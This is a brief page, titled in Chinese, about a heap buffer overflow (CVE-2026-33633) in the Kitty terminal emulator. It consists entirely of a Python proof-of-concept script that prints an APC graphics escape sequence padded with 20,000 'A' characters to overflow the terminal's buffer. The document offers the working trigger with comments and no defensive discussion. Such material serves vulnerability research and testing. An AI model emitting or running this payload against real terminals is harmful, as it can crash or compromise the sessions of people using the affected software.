CVE-2026-33633 Kitty终端堆缓冲区溢出漏洞

# Proof of Concept for CVE-2026-33633 # This script generates a malicious APC graphics command to trigger the heap buffer overflow. import sys # Construct a large payload to exceed the buffer capacity # The vulnerability is triggered when the payload exceeds 2x the initial buffer size payload_size = 20000 malicious_payload = "A" * payload_size # Build the APC graphics protocol command # ESC _ G ... ESC \ # f=100 denotes PNG format poc_command = f"\x1b_Gf=100;{malicious_payload}\x1b\\" # Output the payload to the terminal's stdin sys.stdout.write(poc_command) sys.stdout.flush()